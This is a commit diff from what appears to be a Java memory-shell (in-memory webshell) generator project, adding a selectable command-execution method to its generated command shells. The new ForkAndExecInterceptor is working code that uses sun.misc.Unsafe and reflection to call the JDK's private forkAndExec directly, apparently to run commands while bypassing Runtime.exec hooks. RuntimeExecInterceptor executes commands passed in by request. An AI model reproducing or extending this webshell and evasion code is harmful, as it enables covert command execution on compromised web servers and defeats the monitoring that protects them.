Skip to content

Commit e3dcb93

Browse files
committed
feat: support custom command implementation
1 parent b176286 commit e3dcb93

File tree

25 files changed

+284
-1138
lines changed

25 files changed

+284
-1138
lines changed

boot/build.gradle

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,7 @@ dependencies {
4848
implementation('org.springframework.boot:spring-boot-starter-web') {
4949
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
5050
}
51-
implementation 'org.apache.commons:commons-lang3:3.+'
51+
implementation 'org.apache.commons:commons-lang3:3.17.0'
5252
implementation 'org.springframework.boot:spring-boot-starter-undertow'
5353
compileOnly 'org.projectlombok:lombok'
5454
developmentOnly 'org.springframework.boot:spring-boot-devtools'

boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
package com.reajason.javaweb.boot.controller;
22

3+
import com.reajason.javaweb.boot.vo.CommandConfigVO;
34
import com.reajason.javaweb.memshell.Packers;
45
import com.reajason.javaweb.memshell.Server;
56
import com.reajason.javaweb.memshell.ShellTool;
@@ -61,8 +62,11 @@ public List<String> getPackers() {
6162
return coreMap;
6263
}
6364

64-
@GetMapping("/command/encryptors")
65-
public List<CommandConfig.Encryptor> getCommandEncryptors() {
66-
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
65+
@GetMapping("/command/configs")
66+
public CommandConfigVO getCommandConfigs() {
67+
CommandConfigVO commandConfigVO = new CommandConfigVO();
68+
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
69+
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
70+
return commandConfigVO;
6771
}
6872
}

boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@ static class ShellToolConfigDTO {
2929
private String headerValue;
3030
private String shellClassBase64;
3131
private String encryptor;
32+
private String implementationClass;
3233
}
3334

3435
public ShellToolConfig parseShellToolConfig() {
@@ -50,6 +51,7 @@ public ShellToolConfig parseShellToolConfig() {
5051
.shellClassName(shellToolConfig.getShellClassName())
5152
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
5253
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
54+
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
5355
.build();
5456
case Suo5 -> Suo5Config.builder()
5557
.shellClassName(shellToolConfig.getShellClassName())
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
package com.reajason.javaweb.boot.vo;
2+
3+
import com.reajason.javaweb.memshell.config.CommandConfig;
4+
import lombok.Data;
5+
6+
import java.util.List;
7+
8+
/**
9+
* @author ReaJason
10+
* @since 2025/5/25
11+
*/
12+
@Data
13+
public class CommandConfigVO {
14+
private List<CommandConfig.Encryptor> encryptors;
15+
private List<CommandConfig.ImplementationClass> implementationClasses;
16+
}

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,21 @@ public class CommandConfig extends ShellToolConfig {
2020
@Builder.Default
2121
private Encryptor encryptor = Encryptor.RAW;
2222

23+
@Builder.Default
24+
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
25+
26+
27+
public enum ImplementationClass {
28+
RuntimeExec, ForkAndExec;
29+
30+
public static ImplementationClass fromString(String encryptor) {
31+
if (encryptor != null && encryptor.equals("ForkAndExec")) {
32+
return ForkAndExec;
33+
}
34+
return RuntimeExec;
35+
}
36+
}
37+
2338
public enum Encryptor {
2439
RAW, DOUBLE_BASE64;
2540

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
11
package com.reajason.javaweb.memshell.generator.command;
22

33
import com.reajason.javaweb.ClassBytesShrink;
4-
import com.reajason.javaweb.buddy.*;
5-
import com.reajason.javaweb.memshell.ShellType;
4+
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
5+
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
6+
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
7+
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
68
import com.reajason.javaweb.memshell.config.CommandConfig;
79
import com.reajason.javaweb.memshell.config.ShellConfig;
810
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
@@ -13,10 +15,8 @@
1315
import net.bytebuddy.description.modifier.Visibility;
1416
import net.bytebuddy.dynamic.DynamicType;
1517
import net.bytebuddy.implementation.FixedValue;
16-
import org.apache.commons.lang3.StringUtils;
1718

1819
import java.util.Collections;
19-
import java.util.HashMap;
2020

2121
import static net.bytebuddy.matcher.ElementMatchers.named;
2222

@@ -68,6 +68,12 @@ public DynamicType.Builder<?> getBuilder() {
6868
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
6969
}
7070

71+
if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) {
72+
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
73+
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) {
74+
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
75+
}
76+
7177
return builder;
7278
}
7379

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
package com.reajason.javaweb.memshell.generator.command;
2+
3+
import net.bytebuddy.asm.Advice;
4+
import sun.misc.Unsafe;
5+
6+
import java.io.IOException;
7+
import java.io.InputStream;
8+
import java.lang.reflect.Field;
9+
import java.lang.reflect.Method;
10+
11+
/**
12+
* @author ReaJason
13+
* @since 2025/5/25
14+
*/
15+
public class ForkAndExecInterceptor {
16+
@Advice.OnMethodExit
17+
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
18+
try {
19+
String[] strs = cmd.split("\\s+");
20+
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
21+
theUnsafeField.setAccessible(true);
22+
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
23+
24+
Class<?> processClass = null;
25+
26+
try {
27+
processClass = Class.forName("java.lang.UNIXProcess");
28+
} catch (ClassNotFoundException e) {
29+
processClass = Class.forName("java.lang.ProcessImpl");
30+
}
31+
Object processObject = unsafe.allocateInstance(processClass);
32+
33+
byte[][] args = new byte[strs.length - 1][];
34+
int size = args.length;
35+
36+
for (int i = 0; i < args.length; i++) {
37+
args[i] = strs[i + 1].getBytes();
38+
size += args[i].length;
39+
}
40+
41+
byte[] argBlock = new byte[size];
42+
int i = 0;
43+
44+
for (byte[] arg : args) {
45+
System.arraycopy(arg, 0, argBlock, i, arg.length);
46+
i += arg.length + 1;
47+
}
48+
49+
int[] envc = new int[1];
50+
int[] std_fds = new int[]{-1, -1, -1};
51+
byte[] bytes = strs[0].getBytes();
52+
byte[] result = new byte[bytes.length + 1];
53+
System.arraycopy(bytes, 0,
54+
result, 0,
55+
bytes.length);
56+
result[result.length - 1] = (byte) 0;
57+
try {
58+
Field helperpathField = processClass.getDeclaredField("helperpath");
59+
helperpathField.setAccessible(true);
60+
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
61+
62+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
63+
launchMechanismField.setAccessible(true);
64+
Object launchMechanismObject = launchMechanismField.get(processObject);
65+
int mode = 0;
66+
try {
67+
Field value = launchMechanismObject.getClass().getDeclaredField("value");
68+
value.setAccessible(true);
69+
mode = (Integer) value.get(launchMechanismObject);
70+
} catch (NoSuchFieldException e) {
71+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
72+
mode = ordinal + 1;
73+
}
74+
75+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
76+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
77+
forkMethod.setAccessible(true);
78+
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
79+
null, envc[0], null, std_fds, false);
80+
} catch (NoSuchFieldException e) {
81+
// JDK7
82+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
83+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
84+
forkMethod.setAccessible(true);
85+
forkMethod.invoke(processObject, result, argBlock, args.length,
86+
null, envc[0], null, std_fds, false);
87+
}
88+
89+
try {
90+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
91+
initStreamsMethod.setAccessible(true);
92+
initStreamsMethod.invoke(processObject, std_fds);
93+
} catch (NoSuchMethodException e) {
94+
// JDK11
95+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
96+
initStreamsMethod.setAccessible(true);
97+
initStreamsMethod.invoke(processObject, std_fds, false);
98+
}
99+
100+
Method getInputStreamMethod = processClass.getMethod("getInputStream");
101+
getInputStreamMethod.setAccessible(true);
102+
returnValue = ((InputStream) getInputStreamMethod.invoke(processObject));
103+
} catch (Throwable e) {
104+
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
105+
}
106+
}
107+
}
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
package com.reajason.javaweb.memshell.generator.command;
2+
3+
import net.bytebuddy.asm.Advice;
4+
5+
import java.io.IOException;
6+
import java.io.InputStream;
7+
8+
/**
9+
* @author ReaJason
10+
* @since 2025/5/25
11+
*/
12+
public class RuntimeExecInterceptor {
13+
@Advice.OnMethodExit
14+
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
15+
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
16+
}
17+
}

0 commit comments

Comments
 (0)